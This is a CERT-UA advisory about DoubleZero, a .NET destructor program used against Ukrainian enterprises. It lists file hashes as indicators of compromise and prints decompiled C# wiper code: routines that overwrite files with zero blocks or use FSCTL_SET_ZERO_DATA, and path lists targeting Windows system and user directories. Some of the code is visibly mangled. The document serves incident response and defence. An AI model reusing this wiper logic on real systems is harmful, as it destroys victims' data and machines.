Cyberattack on Ukrainian enterprises using the DoubleZero destructor program (CERT-UA # 4243)

General Information

On March 17, 2022, the government team responding to computer emergencies in Ukraine CERT-UA discovered several ZIP archives, one of which was called "Virus ... extremely dangerous !!!. Zip". Each of the archives contains an obfuscated .NET program. As a result of the analysis, the identified programs are classified as DoubleZero - a malicious destructor program developed using the C # programming language. It uses two methods to destroy files: overwriting files with zero blocks of 4096 bytes (FileStream.Write method) or using API-calls NtFileOpen, NtFsControlFile (code: FSCTL_SET_ZERO_DATA). First, all non-system files on all disks are overwritten. After that the list of system files on a mask is made, their sorting and the subsequent rewriting in the corresponding sequence is carried out. The following branches of the Windows registry are destroyed: HKCU, HKU, HKLM, HKLM \ BCD. Finally, the computer shuts down.

The activity is tracked by the UAC-0088 identifier and is directly related to attempts to violate the regular mode of operation of information systems of Ukrainian enterprises.

Indicators of compromise

Files:

```
36dc2a5bab2665c88ce407d270954d04
d897f07ae6f42de8f35e2b05f5ef5733d7ec599d5e786d3225e66ca605a48f53 Virus ...
extremely dangerous !!!. Zip
989c5de8ce5ca07cc2903098031c7134
8dd8b9bd94de1e72f0c400c5f32dcefc114cc0a5bf14b74ba6edc19fd4aeb2a5 csrss.zip
7d20fa01a703afa8907e50417d27b0a4
3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe cpcrs.exe
(DoubleZero)
b4f0ca61ab0c55a542f32bd4e66a7dc2
30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a csrss.exe
(DoubleZero)
```

Graphic images:

```
public static void ZeroOutFile(GClass3 gclass3_0)
{
    bool flag = false;

    if (flag = ZeroOutFile2(gclass3_0.String_0);
    {
        return;
    }

    try
    {
        ZeroOutFile1(gclass3_0.String_0);
    }
    catch (Exception)
    {
    }
}

public static bool ZeroOutFile1(string string_0)
{
    using (FileStream fileStream = new FileStream(string_0, FileMode.Open, FileAccess.ReadWrite))
    {
        byte[] array2 = new byte[4096];

        while (fileStream.Position < fileStream.Length)
        {
            long num4 = fileStream.Length - fileStream.Position;

            if (array2.Length > num4)
            {
                fileStream.Write(array2, 0, (int)num4);
            }
            else
            {
                fileStream.Write(array2, 0, array2.Length);
            }
        }
    }

    return true;
}
```

```
public static bool ZeroOutFile2(string string_0)
{
    SafeFileHandle safeFileHandle_ = null;
    GClass6.GStruct2 gstruct2_ = default(GClass6.GStruct2);
    GClass6.GStruct0 gstruct0_ = default(GClass6.GStruct0);
    string string_ = "\\??\\" + string_0;
    GClass6.GStruct1 gStruct = new GClass6.GStruct1(string_);
    IntPtr intPtr = Marshal.AllocHGlobal(Marshal.SizeOf((object)gStruct));

    Marshal.StructureToPtr((object)gStruct, intPtr, fDeleteOld: false);
    gstruct2_.ulong_0 = (ulong)Marshal.SizeOf((object)gstruct2_);
    gstruct2_.intptr_0 = IntPtr.Zero;
    gstruct2_.intptr_1 = intPtr;
    gstruct2_.ulong_1 = 64uL;
    gstruct2_.intptr_2 = IntPtr.Zero;
    gstruct2_.intptr_3 = IntPtr.Zero;

    uint num = GClass6.NtOpenFile(out safeFileHandle_, 0xC0100000, ref gstruct2_, ref gstruct0_, 7uL, 32uL);

    ulong ulong_ = 0uL;
    GClass6.GetFileSizeEx(safeFileHandle_, out ulong_);

    GClass6.GStruct3 gStruct2 = default(GClass6.GStruct3);
    gStruct2.ulong_1 = ulong_;

    IntPtr intPtr2 = IntPtr.Zero;

    try
    {
        intPtr2 = Marshal.AllocHGlobal(Marshal.SizeOf((object)gStruct2));

        Marshal.StructureToPtr((object)gStruct2, intPtr2, fDeleteOld: false);

        num = GClass6.NtFsControlFile(safeFileHandle_, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref gstruct0_, 622792uL, intPtr2, (
        ulong)Marshal.SizeOf((object)gStruct2), IntPtr.Zero, (ulong)0);
    }
    finally
    {
        GClass6.CloseHandle(safeFileHandle_.DangerousGetHandle());
    }

    return num == 0;
}
```

```
{
    private const string string 0 = "Microsoft";

    private const string string 1 = "Windows";

    private const string string 2 = "drivers";

    private const string string 3 = "NTDS";

    private const string string 4 = "Microsoft.NET";

    private const string string 5 = "Fonts";

    private const string string 6 = "Documents and Settings";

    private const string string 7 = "ProgramData";

    private const string string 8 = "Application Data";

    private const string string 9 = "Users";

    private const string string 10 = "All Users";

    private const string string 11 = "Default User";

    private const string string 12 = "AppData";

    private const string string 13 = "Local";

    private const string string 14 = "Roaming";

    private const string string 15 = "Local Settings";

    private const string string 16 = "Start Menu";

    private const int int 0 = 5;

    private static string string 17 = Path.Combine(GetSystemRoot(), "Windows");

    private static string string 18 = Path.Combine(GetSystemRoot(), "Windows", "Microsoft.NET");

    public static readonly IEnumerable<Regex> ienumerable 0 = new List<Regex>
    {
        new Regex(GetSystemRoot() + "\\Users\\\\.*?\\\\Local Settings.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\Users\\\\.*?\\\\AppData\\\\Local\\\\Application Data.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\Users\\\\.*?\\\\Start Menu.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\Users\\\\.*?\\\\Application Data.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\ProgramData\\\\Microsoft.*", (RegexOptions)9)
    };

    public static readonly IEnumerable<Regex> ienumerable 1 = new List<Regex>();

    public static readonly IEnumerable<Regex> ienumerable 2 = new List<Regex>
    {
        new Regex(GetSystemRoot() + "\\Users\\\\.*?\\\\AppData\\\\Local\\\\Microsoft.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\Users\\\\.*?\\\\AppData\\\\Roaming\\\\Microsoft.*", (RegexOptions)9)
    };

    public static readonly IEnumerable<Regex> ienumerable 3 = new List<Regex>();

    public static readonly IEnumerable<string> ienumerable 4 = new List<string>
    {
        Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)),
        Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86)),
        Path.Combine(GetSystemRoot(), "Documents and Settings"),
        Path.Combine(GetSystemRoot(), "ProgramData", "Application Data"),
        Path.Combine(GetSystemRoot(), "Users", "All Users"),
        Path.Combine(GetSystemRoot(), "Users", "Default User")
    };

    public static readonly IEnumerable<string> ienumerable 5 = new List<string> { Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers") };

    public static readonly IEnumerable<string> ienumerable 6 = new List<string> { Path.Combine(GetSystemRoot(), "Windows", "NTDS") };

    public static readonly IEnumerable<string> ienumerable 7 = new List<string> { Path.Combine(GetSystemRoot(), "Windows") };

    public static string GetSystemRoot()
    {
        return Path.GetPathRoot(Environment.SystemDirectory);
    }

    public static int GetOSVersionMajor()
    {
        return Environment.OSVersion.Version.Major;
    }
```